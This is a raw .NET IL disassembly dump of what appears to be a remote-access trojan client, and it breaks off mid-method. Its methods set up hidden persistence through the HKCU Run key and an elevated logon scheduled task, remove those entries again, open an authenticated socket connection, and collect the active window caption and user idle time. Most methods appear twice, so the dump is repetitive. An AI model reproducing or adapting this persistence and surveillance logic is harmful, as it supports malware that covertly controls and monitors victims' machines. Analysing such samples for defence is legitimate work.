000063b3ldloc.s 11
000063b5callvirt Dispose
000063baendfinally
000063bbleave.s IL_0264
000063bdpop
000063beleave.s IL_0264
000063c0ret
0000615c
0000615c<>c__DisplayClass16_0::<RemoveStartup>b__0:
0000615ccall IsAdmin
00006161brfalse IL_01d8
00006166newobj .ctor
0000616bstloc.1
0000616cldloc.1
0000616dcallvirt get_StartInfo
00006172ldstr "schtasks.exe"
00006177callvirt set_FileName
0000617cldloc.1
0000617dcallvirt get_StartInfo
00006182ldstr "/query /v /fo csv"
00006187callvirt set_Arguments
0000618cldloc.1
0000618dcallvirt get_StartInfo
00006192ldc.i4.0
00006193callvirt set_UseShellExecute
00006198ldloc.1
00006199callvirt get_StartInfo
0000619eldc.i4.1
0000619fcallvirt set_RedirectStandardOutput
000061a4ldloc.1
000061a5callvirt get_StartInfo
000061aaldc.i4.1
000061abcallvirt set_CreateNoWindow
000061b0ldloc.1
000061b1callvirt Start
000061b6pop
000061b7ldloc.1
000061b8callvirt get_StandardOutput
000061bdcallvirt ReadToEnd
000061c2stloc.2
000061c3ldloc.1
000061c4callvirt WaitForExit
000061c9leave.s IL_0072
000061cbpop
000061ccleave.s IL_0072
000061celdloc.1
000061cfcallvirt Dispose
000061d4ldloc.2
000061d5ldc.i4.1
000061d6newarr System.Char
000061dbdup
000061dcldc.i4.0
000061ddldc.i4.s 10
000061dfstelem.i2
000061e0callvirt Split
000061e5stloc.3
000061e6ldloc.3
000061e7ldlen
000061e8conv.i4
000061e9ldc.i4.1
000061eable IL_01d3
000061efldloc.3
000061f0ldc.i4.0
000061f1ldelem.ref
000061f2ldstr "\""
000061f7ldstr ""
000061fccallvirt Replace
00006201ldc.i4.1
00006202newarr System.Char
00006207dup
00006208ldc.i4.0
00006209ldc.i4.s 44
0000620bstelem.i2
0000620ccallvirt Split
00006211call 0x2B000045
00006216stloc.s 4
00006218ldloc.s 4
0000621aldstr "TaskName"
0000621fcallvirt IndexOf
00006224stloc.s 5
00006226ldloc.s 4
00006228ldstr "Task To Run"
0000622dcallvirt IndexOf
00006232stloc.s 6
00006234ldloc.3
00006235stloc.s 7
00006237ldc.i4.0
00006238stloc.s 8
0000623abr IL_01c8
0000623fldloc.s 7
00006241ldloc.s 8
00006243ldelem.ref
00006244ldc.i4.1
00006245newarr System.String
0000624adup
0000624bldc.i4.0
0000624cldstr "\",\""
00006251stelem.ref
00006252ldc.i4.0
00006253callvirt Split
00006258stloc.s 9
0000625aldloc.s 4
0000625ccallvirt get_Count
00006261ldloc.s 9
00006263ldlen
00006264conv.i4
00006265bne.un IL_01c2
0000626aldloc.s 5
0000626cldc.i4.m1
0000626dbeq IL_01c2
00006272ldloc.s 6
00006274ldc.i4.m1
00006275beq IL_01c2
0000627aldloc.s 9
0000627cldloc.s 6
0000627eldelem.ref
0000627fldstr "\""
00006284ldstr ""
00006289callvirt Replace
0000628ecallvirt Trim
00006293ldarg.0
00006294ldfld executablePath
00006299call op_Equality
0000629ebrfalse.s IL_01c2
000062a0newobj .ctor
000062a5stloc.s 10
000062a7ldloc.s 10
000062a9callvirt get_StartInfo
000062aeldstr "schtasks.exe"
000062b3callvirt set_FileName
000062b8ldloc.s 10
000062bacallvirt get_StartInfo
000062bfldstr "/delete /tn \""
000062c4ldloc.s 9
000062c6ldloc.s 5
000062c8ldelem.ref
000062c9ldstr "\" /f"
000062cecall Concat
000062d3callvirt set_Arguments
000062d8ldloc.s 10
000062dacallvirt get_StartInfo
000062dfldc.i4.0
000062e0callvirt set_UseShellExecute
000062e5ldloc.s 10
000062e7callvirt get_StartInfo
000062ecldc.i4.1
000062edcallvirt set_RedirectStandardOutput
000062f2ldloc.s 10
000062f4callvirt get_StartInfo
000062f9ldc.i4.1
000062facallvirt set_CreateNoWindow
000062ffldloc.s 10
00006301callvirt Start
00006306pop
00006307ldloc.s 10
00006309callvirt WaitForExit
0000630eleave.s IL_01b7
00006310pop
00006311leave.s IL_01b7
00006313ldloc.1
00006314callvirt Dispose
00006319leave.s IL_01c2
0000631bpop
0000631cleave.s IL_01c2
0000631eldloc.s 8
00006320ldc.i4.1
00006321add
00006322stloc.s 8
00006324ldloc.s 8
00006326ldloc.s 7
00006328ldlen
00006329conv.i4
0000632ablt IL_00e3
0000632fleave.s IL_01d8
00006331pop
00006332leave.s IL_01d8
00006334ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006339stloc.0
0000633aldc.i4 -2147483647
0000633fldc.i4 256
00006344call OpenBaseKey
00006349ldloc.0
0000634aldc.i4.1
0000634bcallvirt OpenSubKey
00006350stloc.s 11
00006352ldloc.s 11
00006354callvirt GetValueNames
00006359stloc.s 7
0000635bldc.i4.0
0000635cstloc.s 8
0000635ebr.s IL_0249
00006360ldloc.s 7
00006362ldloc.s 8
00006364ldelem.ref
00006365stloc.s 12
00006367ldloc.s 11
00006369ldloc.s 12
0000636bcallvirt GetValue
00006370callvirt ToString
00006375ldstr "\""
0000637aldstr ""
0000637fcallvirt Replace
00006384callvirt Trim
00006389ldarg.0
0000638aldfld executablePath
0000638fcall op_Equality
00006394brfalse.s IL_0243
00006396ldloc.s 11
00006398ldloc.s 12
0000639acallvirt DeleteValue
0000639fldloc.s 8
000063a1ldc.i4.1
000063a2add
000063a3stloc.s 8
000063a5ldloc.s 8
000063a7ldloc.s 7
000063a9ldlen
000063aaconv.i4
000063abblt.s IL_0204
000063adleave.s IL_025f
000063afldloc.s 11
000063b1brfalse.s IL_025e
000063b3ldloc.s 11
000063b5callvirt Dispose
000063baendfinally
000063bbleave.s IL_0264
000063bdpop
000063beleave.s IL_0264
000063c0ret
0000615c
00006464
00006464<>c__DisplayClass18_0::<AddToStartupNonAdmin>b__0:
00006464ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006469stloc.0
0000646aldc.i4 -2147483647
0000646fldc.i4 256
00006474call OpenBaseKey
00006479ldloc.0
0000647aldc.i4.1
0000647bcallvirt OpenSubKey
00006480stloc.1
00006481ldloc.1
00006482ldarg.0
00006483ldfld name
00006488ldstr "\""
0000648dldarg.0
0000648eldfld executablePath
00006493ldstr "\""
00006498call Concat
0000649dcallvirt SetValue
000064a2leave.s IL_004a
000064a4ldloc.1
000064a5brfalse.s IL_0049
000064a7ldloc.1
000064a8callvirt Dispose
000064adendfinally
000064aeldc.i4.1
000064afstloc.2
000064b0leave.s IL_0053
000064b2pop
000064b3ldc.i4.0
000064b4stloc.2
000064b5leave.s IL_0053
000064b7ldloc.2
000064b8ret
00006464
00006464<>c__DisplayClass18_0::<AddToStartupNonAdmin>b__0:
00006464ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006469stloc.0
0000646aldc.i4 -2147483647
0000646fldc.i4 256
00006474call OpenBaseKey
00006479ldloc.0
0000647aldc.i4.1
0000647bcallvirt OpenSubKey
00006480stloc.1
00006481ldloc.1
00006482ldarg.0
00006483ldfld name
00006488ldstr "\""
0000648dldarg.0
0000648eldfld executablePath
00006493ldstr "\""
00006498call Concat
0000649dcallvirt SetValue
000064a2leave.s IL_004a
000064a4ldloc.1
000064a5brfalse.s IL_0049
000064a7ldloc.1
000064a8callvirt Dispose
000064adendfinally
000064aeldc.i4.1
000064afstloc.2
000064b0leave.s IL_0053
000064b2pop
000064b3ldc.i4.0
000064b4stloc.2
000064b5leave.s IL_0053
000064b7ldloc.2
000064b8ret
00006464
000064e4
000064e4<AddToStartupAdmin>d__19::MoveNext:
000064e4ldarg.0
000064e5ldfld <>1__state
000064eastloc.0
000064ebldloc.0
000064ecpop
000064ednop
000064eeldloc.0
000064efbrfalse IL_011d
000064f4ldstr "\r\n <Task xmlns='http://schemas.microsoft.com/windows/2004/02/mit/task'>\r\n <Triggers>\r\n <LogonTrigger>\r\n <Enabled>true</Enabled>\r\n </LogonTrigger>\r\n </Triggers>\r\n <Principals>\r\n <Principal id='Author'>\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n </Settings>\r\n <Actions>\r\n <Exec>\r\n <Command>"
000064f9ldarg.0
000064faldfld executablePath
000064ffldstr "</Command>\r\n </Exec>\r\n </Actions>\r\n </Task>"
00006504call Concat
00006509stloc.2
0000650aldarg.0
0000650bcall GetTempFileName
00006510stfld <tempXmlFile>5__2
00006515ldarg.0
00006516ldfld <tempXmlFile>5__2
0000651bldloc.2
0000651ccall WriteAllText
00006521ldarg.0
00006522newobj .ctor
00006527stfld <process>5__3
0000652cldarg.0
0000652dldfld <process>5__3
00006532callvirt get_StartInfo
00006537ldstr "schtasks.exe"
0000653ccallvirt set_FileName
00006541ldarg.0
00006542ldfld <process>5__3
00006547callvirt get_StartInfo
0000654cldc.i4.5
0000654dnewarr System.String
00006552dup
00006553ldc.i4.0
00006554ldstr "/Create /TN \""
00006559stelem.ref
0000655adup
0000655bldc.i4.1
0000655cldarg.0
0000655dldfld name
00006562stelem.ref
00006563dup
00006564ldc.i4.2
00006565ldstr "\" /XML \""
0000656astelem.ref
0000656bdup
0000656cldc.i4.3
0000656dldarg.0
0000656eldfld <tempXmlFile>5__2
00006573stelem.ref
00006574dup
00006575ldc.i4.4
00006576ldstr "\" /F"
0000657bstelem.ref
0000657ccall Concat
00006581callvirt set_Arguments
00006586ldarg.0
00006587ldfld <process>5__3
0000658ccallvirt get_StartInfo
00006591ldc.i4.0
00006592callvirt set_UseShellExecute
00006597ldarg.0
00006598ldfld <process>5__3
0000659dcallvirt get_StartInfo
000065a2ldc.i4.1
000065a3callvirt set_RedirectStandardOutput
000065a8ldarg.0
000065a9ldfld <process>5__3
000065aecallvirt get_StartInfo
000065b3ldc.i4.1
000065b4callvirt set_CreateNoWindow
000065b9ldarg.0
000065baldfld <process>5__3
000065bfcallvirt Start
000065c4pop
000065c5ldc.i4 3000
000065cacall Delay
000065cfcallvirt GetAwaiter
000065d4stloc.3
000065d5ldloca.s 3
000065d7call get_IsCompleted
000065dcbrtrue.s IL_0139
000065deldarg.0
000065dfldc.i4.0
000065e0dup
000065e1stloc.0
000065e2stfld <>1__state
000065e7ldarg.0
000065e8ldloc.3
000065e9stfld <>u__1
000065eeldarg.0
000065efldflda <>t__builder
000065f4ldloca.s 3
000065f6ldarg.0
000065f7call 0x2B000046
000065fcleave IL_01af
00006601ldarg.0
00006602ldfld <>u__1
00006607stloc.3
00006608ldarg.0
00006609ldflda <>u__1
0000660einitobj System.Runtime.CompilerServices.TaskAwaiter
00006614ldarg.0
00006615ldc.i4.m1
00006616dup
00006617stloc.0
00006618stfld <>1__state
0000661dldloca.s 3
0000661fcall GetResult
00006624ldarg.0
00006625ldfld <process>5__3
0000662acallvirt get_StandardOutput
0000662fcallvirt ReadToEnd
00006634ldarg.0
00006635ldfld <tempXmlFile>5__2
0000663acall Delete
0000663fldstr "SUCCESS"
00006644callvirt Contains
00006649brfalse.s IL_016b
0000664bldc.i4.1
0000664cstloc.1
0000664dleave.s IL_019b
0000664fldarg.0
00006650ldnull
00006651stfld <tempXmlFile>5__2
00006656ldarg.0
00006657ldnull
00006658stfld <process>5__3
0000665dleave.s IL_017e
0000665fpop
00006660leave.s IL_017e
00006662ldc.i4.0
00006663stloc.1
00006664leave.s IL_019b
00006666stloc.s 4
00006668ldarg.0
00006669ldc.i4.s -2
0000666bstfld <>1__state
00006670ldarg.0
00006671ldflda <>t__builder
00006676ldloc.s 4
00006678call SetException
0000667dleave.s IL_01af
0000667fldarg.0
00006680ldc.i4.s -2
00006682stfld <>1__state
00006687ldarg.0
00006688ldflda <>t__builder
0000668dldloc.1
0000668ecall SetResult
00006693ret
000064e4
000064e4<AddToStartupAdmin>d__19::MoveNext:
000064e4ldarg.0
000064e5ldfld <>1__state
000064eastloc.0
000064ebldloc.0
000064ecpop
000064ednop
000064eeldloc.0
000064efbrfalse IL_011d
000064f4ldstr "\r\n <Task xmlns='http://schemas.microsoft.com/windows/2004/02/mit/task'>\r\n <Triggers>\r\n <LogonTrigger>\r\n <Enabled>true</Enabled>\r\n </LogonTrigger>\r\n </Triggers>\r\n <Principals>\r\n <Principal id='Author'>\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n </Settings>\r\n <Actions>\r\n <Exec>\r\n <Command>"
000064f9ldarg.0
000064faldfld executablePath
000064ffldstr "</Command>\r\n </Exec>\r\n </Actions>\r\n </Task>"
00006504call Concat
00006509stloc.2
0000650aldarg.0
0000650bcall GetTempFileName
00006510stfld <tempXmlFile>5__2
00006515ldarg.0
00006516ldfld <tempXmlFile>5__2
0000651bldloc.2
0000651ccall WriteAllText
00006521ldarg.0
00006522newobj .ctor
00006527stfld <process>5__3
0000652cldarg.0
0000652dldfld <process>5__3
00006532callvirt get_StartInfo
00006537ldstr "schtasks.exe"
0000653ccallvirt set_FileName
00006541ldarg.0
00006542ldfld <process>5__3
00006547callvirt get_StartInfo
0000654cldc.i4.5
0000654dnewarr System.String
00006552dup
00006553ldc.i4.0
00006554ldstr "/Create /TN \""
00006559stelem.ref
0000655adup
0000655bldc.i4.1
0000655cldarg.0
0000655dldfld name
00006562stelem.ref
00006563dup
00006564ldc.i4.2
00006565ldstr "\" /XML \""
0000656astelem.ref
0000656bdup
0000656cldc.i4.3
0000656dldarg.0
0000656eldfld <tempXmlFile>5__2
00006573stelem.ref
00006574dup
00006575ldc.i4.4
00006576ldstr "\" /F"
0000657bstelem.ref
0000657ccall Concat
00006581callvirt set_Arguments
00006586ldarg.0
00006587ldfld <process>5__3
0000658ccallvirt get_StartInfo
00006591ldc.i4.0
00006592callvirt set_UseShellExecute
00006597ldarg.0
00006598ldfld <process>5__3
0000659dcallvirt get_StartInfo
000065a2ldc.i4.1
000065a3callvirt set_RedirectStandardOutput
000065a8ldarg.0
000065a9ldfld <process>5__3
000065aecallvirt get_StartInfo
000065b3ldc.i4.1
000065b4callvirt set_CreateNoWindow
000065b9ldarg.0
000065baldfld <process>5__3
000065bfcallvirt Start
000065c4pop
000065c5ldc.i4 3000
000065cacall Delay
000065cfcallvirt GetAwaiter
000065d4stloc.3
000065d5ldloca.s 3
000065d7call get_IsCompleted
000065dcbrtrue.s IL_0139
000065deldarg.0
000065dfldc.i4.0
000065e0dup
000065e1stloc.0
000065e2stfld <>1__state
000065e7ldarg.0
000065e8ldloc.3
000065e9stfld <>u__1
000065eeldarg.0
000065efldflda <>t__builder
000065f4ldloca.s 3
000065f6ldarg.0
000065f7call 0x2B000046
000065fcleave IL_01af
00006601ldarg.0
00006602ldfld <>u__1
00006607stloc.3
00006608ldarg.0
00006609ldflda <>u__1
0000660einitobj System.Runtime.CompilerServices.TaskAwaiter
00006614ldarg.0
00006615ldc.i4.m1
00006616dup
00006617stloc.0
00006618stfld <>1__state
0000661dldloca.s 3
0000661fcall GetResult
00006624ldarg.0
00006625ldfld <process>5__3
0000662acallvirt get_StandardOutput
0000662fcallvirt ReadToEnd
00006634ldarg.0
00006635ldfld <tempXmlFile>5__2
0000663acall Delete
0000663fldstr "SUCCESS"
00006644callvirt Contains
00006649brfalse.s IL_016b
0000664bldc.i4.1
0000664cstloc.1
0000664dleave.s IL_019b
0000664fldarg.0
00006650ldnull
00006651stfld <tempXmlFile>5__2
00006656ldarg.0
00006657ldnull
00006658stfld <process>5__3
0000665dleave.s IL_017e
0000665fpop
00006660leave.s IL_017e
00006662ldc.i4.0
00006663stloc.1
00006664leave.s IL_019b
00006666stloc.s 4
00006668ldarg.0
00006669ldc.i4.s -2
0000666bstfld <>1__state
00006670ldarg.0
00006671ldflda <>t__builder
00006676ldloc.s 4
00006678call SetException
0000667dleave.s IL_01af
0000667fldarg.0
00006680ldc.i4.s -2
00006682stfld <>1__state
00006687ldarg.0
00006688ldflda <>t__builder
0000668dldloc.1
0000668ecall SetResult
00006693ret
000064e4
000066d4
000066d4<AddToStartupNonAdmin>d__18::MoveNext:
000066d4ldarg.0
000066d5ldfld <>1__state
000066dastloc.0
000066dbldloc.0
000066dcbrfalse.s IL_0066
000066denewobj .ctor
000066e3dup
000066e4ldarg.0
000066e5ldfld name
000066eastfld name
000066efdup
000066f0ldarg.0
000066f1ldfld executablePath
000066f6stfld executablePath
000066fbldftn <AddToStartupNonAdmin>b__0
00006701newobj .ctor
00006706call 0x2B000047
0000670bcallvirt GetAwaiter
00006710stloc.2
00006711ldloca.s 2
00006713call get_IsCompleted
00006718brtrue.s IL_0082
0000671aldarg.0
0000671bldc.i4.0
0000671cdup
0000671dstloc.0
0000671estfld <>1__state
00006723ldarg.0
00006724ldloc.2
00006725stfld <>u__1
0000672aldarg.0
0000672bldflda <>t__builder
00006730ldloca.s 2
00006732ldarg.0
00006733call 0x2B000048
00006738leave.s IL_00b7
0000673aldarg.0
0000673bldfld <>u__1
00006740stloc.2
00006741ldarg.0
00006742ldflda <>u__1
00006747initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000674dldarg.0
0000674eldc.i4.m1
0000674fdup
00006750stloc.0
00006751stfld <>1__state
00006756ldloca.s 2
00006758call GetResult
0000675dstloc.1
0000675eleave.s IL_00a3
00006760stloc.3
00006761ldarg.0
00006762ldc.i4.s -2
00006764stfld <>1__state
00006769ldarg.0
0000676aldflda <>t__builder
0000676fldloc.3
00006770call SetException
00006775leave.s IL_00b7
00006777ldarg.0
00006778ldc.i4.s -2
0000677astfld <>1__state
0000677fldarg.0
00006780ldflda <>t__builder
00006785ldloc.1
00006786call SetResult
0000678bret
000066d4
000066d4<AddToStartupNonAdmin>d__18::MoveNext:
000066d4ldarg.0
000066d5ldfld <>1__state
000066dastloc.0
000066dbldloc.0
000066dcbrfalse.s IL_0066
000066denewobj .ctor
000066e3dup
000066e4ldarg.0
000066e5ldfld name
000066eastfld name
000066efdup
000066f0ldarg.0
000066f1ldfld executablePath
000066f6stfld executablePath
000066fbldftn <AddToStartupNonAdmin>b__0
00006701newobj .ctor
00006706call 0x2B000047
0000670bcallvirt GetAwaiter
00006710stloc.2
00006711ldloca.s 2
00006713call get_IsCompleted
00006718brtrue.s IL_0082
0000671aldarg.0
0000671bldc.i4.0
0000671cdup
0000671dstloc.0
0000671estfld <>1__state
00006723ldarg.0
00006724ldloc.2
00006725stfld <>u__1
0000672aldarg.0
0000672bldflda <>t__builder
00006730ldloca.s 2
00006732ldarg.0
00006733call 0x2B000048
00006738leave.s IL_00b7
0000673aldarg.0
0000673bldfld <>u__1
00006740stloc.2
00006741ldarg.0
00006742ldflda <>u__1
00006747initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000674dldarg.0
0000674eldc.i4.m1
0000674fdup
00006750stloc.0
00006751stfld <>1__state
00006756ldloca.s 2
00006758call GetResult
0000675dstloc.1
0000675eleave.s IL_00a3
00006760stloc.3
00006761ldarg.0
00006762ldc.i4.s -2
00006764stfld <>1__state
00006769ldarg.0
0000676aldflda <>t__builder
0000676fldloc.3
00006770call SetException
00006775leave.s IL_00b7
00006777ldarg.0
00006778ldc.i4.s -2
0000677astfld <>1__state
0000677fldarg.0
00006780ldflda <>t__builder
00006785ldloc.1
00006786call SetResult
0000678bret
000066d4
000067a8
000067a8<ConnectAndSetupAsync>d__15::MoveNext:
000067a8ldarg.0
000067a9ldfld <>1__state
000067aestloc.0
000067afldloc.0
000067b0pop
000067b1nop
000067b2ldloc.0
000067b3brfalse.s IL_0075
000067b5ldarg.0
000067b6ldarg.0
000067b7ldfld sock
000067bcldarg.0
000067bdldfld key
000067c2newobj .ctor
000067c7ldarg.0
000067c8ldfld OnDisconnect
000067cdnewobj .ctor
000067d2stfld <conn>5__2
000067d7ldarg.0
000067d8ldfld <conn>5__2
000067ddldarg.0
000067deldfld type
000067e3ldarg.0
000067e4ldfld ID
000067e9callvirt AuthenticateAsync
000067eecallvirt GetAwaiter
000067f3stloc.2
000067f4ldloca.s 2
000067f6call get_IsCompleted
000067fbbrtrue.s IL_0091
000067fdldarg.0
000067feldc.i4.0
000067ffdup
00006800stloc.0
00006801stfld <>1__state
00006806ldarg.0
00006807ldloc.2
00006808stfld <>u__1
0000680dldarg.0
0000680eldflda <>t__builder
00006813ldloca.s 2
00006815ldarg.0
00006816call 0x2B000049
0000681bleave.s IL_00e7
0000681dldarg.0
0000681eldfld <>u__1
00006823stloc.2
00006824ldarg.0
00006825ldflda <>u__1
0000682ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00006830ldarg.0
00006831ldc.i4.m1
00006832dup
00006833stloc.0
00006834stfld <>1__state
00006839ldloca.s 2
0000683bcall GetResult
00006840brtrue.s IL_009e
00006842ldnull
00006843stloc.1
00006844leave.s IL_00cc
00006846leave.s IL_00a5
00006848pop
00006849ldnull
0000684astloc.1
0000684bleave.s IL_00cc
0000684dldarg.0
0000684eldfld <conn>5__2
00006853stloc.1
00006854leave.s IL_00cc
00006856stloc.3
00006857ldarg.0
00006858ldc.i4.s -2
0000685astfld <>1__state
0000685fldarg.0
00006860ldnull
00006861stfld <conn>5__2
00006866ldarg.0
00006867ldflda <>t__builder
0000686cldloc.3
0000686dcall SetException
00006872leave.s IL_00e7
00006874ldarg.0
00006875ldc.i4.s -2
00006877stfld <>1__state
0000687cldarg.0
0000687dldnull
0000687estfld <conn>5__2
00006883ldarg.0
00006884ldflda <>t__builder
00006889ldloc.1
0000688acall SetResult
0000688fret
000067a8
000067a8<ConnectAndSetupAsync>d__15::MoveNext:
000067a8ldarg.0
000067a9ldfld <>1__state
000067aestloc.0
000067afldloc.0
000067b0pop
000067b1nop
000067b2ldloc.0
000067b3brfalse.s IL_0075
000067b5ldarg.0
000067b6ldarg.0
000067b7ldfld sock
000067bcldarg.0
000067bdldfld key
000067c2newobj .ctor
000067c7ldarg.0
000067c8ldfld OnDisconnect
000067cdnewobj .ctor
000067d2stfld <conn>5__2
000067d7ldarg.0
000067d8ldfld <conn>5__2
000067ddldarg.0
000067deldfld type
000067e3ldarg.0
000067e4ldfld ID
000067e9callvirt AuthenticateAsync
000067eecallvirt GetAwaiter
000067f3stloc.2
000067f4ldloca.s 2
000067f6call get_IsCompleted
000067fbbrtrue.s IL_0091
000067fdldarg.0
000067feldc.i4.0
000067ffdup
00006800stloc.0
00006801stfld <>1__state
00006806ldarg.0
00006807ldloc.2
00006808stfld <>u__1
0000680dldarg.0
0000680eldflda <>t__builder
00006813ldloca.s 2
00006815ldarg.0
00006816call 0x2B000049
0000681bleave.s IL_00e7
0000681dldarg.0
0000681eldfld <>u__1
00006823stloc.2
00006824ldarg.0
00006825ldflda <>u__1
0000682ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00006830ldarg.0
00006831ldc.i4.m1
00006832dup
00006833stloc.0
00006834stfld <>1__state
00006839ldloca.s 2
0000683bcall GetResult
00006840brtrue.s IL_009e
00006842ldnull
00006843stloc.1
00006844leave.s IL_00cc
00006846leave.s IL_00a5
00006848pop
00006849ldnull
0000684astloc.1
0000684bleave.s IL_00cc
0000684dldarg.0
0000684eldfld <conn>5__2
00006853stloc.1
00006854leave.s IL_00cc
00006856stloc.3
00006857ldarg.0
00006858ldc.i4.s -2
0000685astfld <>1__state
0000685fldarg.0
00006860ldnull
00006861stfld <conn>5__2
00006866ldarg.0
00006867ldflda <>t__builder
0000686cldloc.3
0000686dcall SetException
00006872leave.s IL_00e7
00006874ldarg.0
00006875ldc.i4.s -2
00006877stfld <>1__state
0000687cldarg.0
0000687dldnull
0000687estfld <conn>5__2
00006883ldarg.0
00006884ldflda <>t__builder
00006889ldloc.1
0000688acall SetResult
0000688fret
000067a8
000068b8
000068b8<GetCaptionOfActiveWindowAsync>d__8::MoveNext:
000068b8ldarg.0
000068b9ldfld <>1__state
000068bestloc.0
000068bfldloc.0
000068c0brfalse.s IL_005d
000068c2ldsfld <>9__8_0
000068c7dup
000068c8brtrue.s IL_0029
000068capop
000068cbldsfld <>9
000068d0ldftn <GetCaptionOfActiveWindowAsync>b__8_0
000068d6newobj .ctor
000068dbdup
000068dcstsfld <>9__8_0
000068e1call 0x2B00004A
000068e6callvirt GetAwaiter
000068ebstloc.2
000068ecldloca.s 2
000068eecall get_IsCompleted
000068f3brtrue.s IL_0079
000068f5ldarg.0
000068f6ldc.i4.0
000068f7dup
000068f8stloc.0
000068f9stfld <>1__state
000068feldarg.0
000068ffldloc.2
00006900stfld <>u__1
00006905ldarg.0
00006906ldflda <>t__builder
0000690bldloca.s 2
0000690dldarg.0
0000690ecall 0x2B00004B
00006913leave.s IL_00ae
00006915ldarg.0
00006916ldfld <>u__1
0000691bstloc.2
0000691cldarg.0
0000691dldflda <>u__1
00006922initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
00006928ldarg.0
00006929ldc.i4.m1
0000692adup
0000692bstloc.0
0000692cstfld <>1__state
00006931ldloca.s 2
00006933call GetResult
00006938stloc.1
00006939leave.s IL_009a
0000693bstloc.3
0000693cldarg.0
0000693dldc.i4.s -2
0000693fstfld <>1__state
00006944ldarg.0
00006945ldflda <>t__builder
0000694aldloc.3
0000694bcall SetException
00006950leave.s IL_00ae
00006952ldarg.0
00006953ldc.i4.s -2
00006955stfld <>1__state
0000695aldarg.0
0000695bldflda <>t__builder
00006960ldloc.1
00006961call SetResult
00006966ret
000068b8
000068b8<GetCaptionOfActiveWindowAsync>d__8::MoveNext:
000068b8ldarg.0
000068b9ldfld <>1__state
000068bestloc.0
000068bfldloc.0
000068c0brfalse.s IL_005d
000068c2ldsfld <>9__8_0
000068c7dup
000068c8brtrue.s IL_0029
000068capop
000068cbldsfld <>9
000068d0ldftn <GetCaptionOfActiveWindowAsync>b__8_0
000068d6newobj .ctor
000068dbdup
000068dcstsfld <>9__8_0
000068e1call 0x2B00004A
000068e6callvirt GetAwaiter
000068ebstloc.2
000068ecldloca.s 2
000068eecall get_IsCompleted
000068f3brtrue.s IL_0079
000068f5ldarg.0
000068f6ldc.i4.0
000068f7dup
000068f8stloc.0
000068f9stfld <>1__state
000068feldarg.0
000068ffldloc.2
00006900stfld <>u__1
00006905ldarg.0
00006906ldflda <>t__builder
0000690bldloca.s 2
0000690dldarg.0
0000690ecall 0x2B00004B
00006913leave.s IL_00ae
00006915ldarg.0
00006916ldfld <>u__1
0000691bstloc.2
0000691cldarg.0
0000691dldflda <>u__1
00006922initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
00006928ldarg.0
00006929ldc.i4.m1
0000692adup
0000692bstloc.0
0000692cstfld <>1__state
00006931ldloca.s 2
00006933call GetResult
00006938stloc.1
00006939leave.s IL_009a
0000693bstloc.3
0000693cldarg.0
0000693dldc.i4.s -2
0000693fstfld <>1__state
00006944ldarg.0
00006945ldflda <>t__builder
0000694aldloc.3
0000694bcall SetException
00006950leave.s IL_00ae
00006952ldarg.0
00006953ldc.i4.s -2
00006955stfld <>1__state
0000695aldarg.0
0000695bldflda <>t__builder
00006960ldloc.1
00006961call SetResult
00006966ret
000068b8
00006984
00006984<GetIdleTimeAsync>d__20::MoveNext:
00006984ldarg.0
00006985ldfld <>1__state
0000698astloc.0
0000698bldloc.0
0000698cbrfalse.s IL_005d
0000698eldsfld <>9__20_0
00006993dup
00006994brtrue.s IL_0029
00006996pop
00006997ldsfld <>9
0000699cldftn <GetIdleTimeAsync>b__20_0
000069a2newobj .ctor
000069a7dup
000069a8stsfld <>9__20_0
000069adcall 0x2B00004C
000069b2callvirt GetAwaiter
000069b7stloc.2
000069b8ldloca.s 2
000069bacall get_IsCompleted
000069bfbrtrue.s IL_0079
000069c1ldarg.0
000069c2ldc.i4.0
000069c3dup
000069c4stloc.0
000069c5stfld <>1__state
000069caldarg.0
000069cbldloc.2
000069ccstfld <>u__1
000069d1ldarg.0
000069d2ldflda <>t__builder
000069d7ldloca.s 2
000069d9ldarg.0
000069dacall 0x2B00004D
000069dfleave.s IL_00ae
000069e1ldarg.0
000069e2ldfld <>u__1
000069e7stloc.2
000069e8ldarg.0
000069e9ldflda <>u__1
000069eeinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
000069f4ldarg.0
000069f5ldc.i4.m1
000069f6dup
000069f7stloc.0
000069f8stfld <>1__state
000069fdldloca.s 2
000069ffcall GetResult
00006a04stloc.1
00006a05leave.s IL_009a
00006a07stloc.3
00006a08ldarg.0
00006a09ldc.i4.s -2
00006a0bstfld <>1__state
00006a10ldarg.0
00006a11ldflda <>t__builder
00006a16ldloc.3
00006a17call SetException
00006a1cleave.s IL_00ae
00006a1eldarg.0
00006a1fldc.i4.s -2
00006a21stfld <>1__state
00006a26ldarg.0
00006a27ldflda <>t__builder
00006a2cldloc.1
00006a2dcall SetResult
00006a32ret
00006984
00006984<GetIdleTimeAsync>d__20::MoveNext:
00006984ldarg.0
00006985ldfld <>1__state
0000698astloc.0
0000698bldloc.0
0000698cbrfalse.s IL_005d
0000698eldsfld <>9__20_0
00006993dup
00006994brtrue.s IL_0029
00006996pop
00006997ldsfld <>9
0000699cldftn <GetIdleTimeAsync>b__20_0
000069a2newobj .ctor
000069a7dup
000069a8stsfld <>9__20_0
000069adcall 0x2B00004C
000069b2callvirt GetAwaiter
000069b7stloc.2
000069b8ldloca.s 2
000069bacall get_IsCompleted
000069bfbrtrue.s IL_0079
000069c1ldarg.0
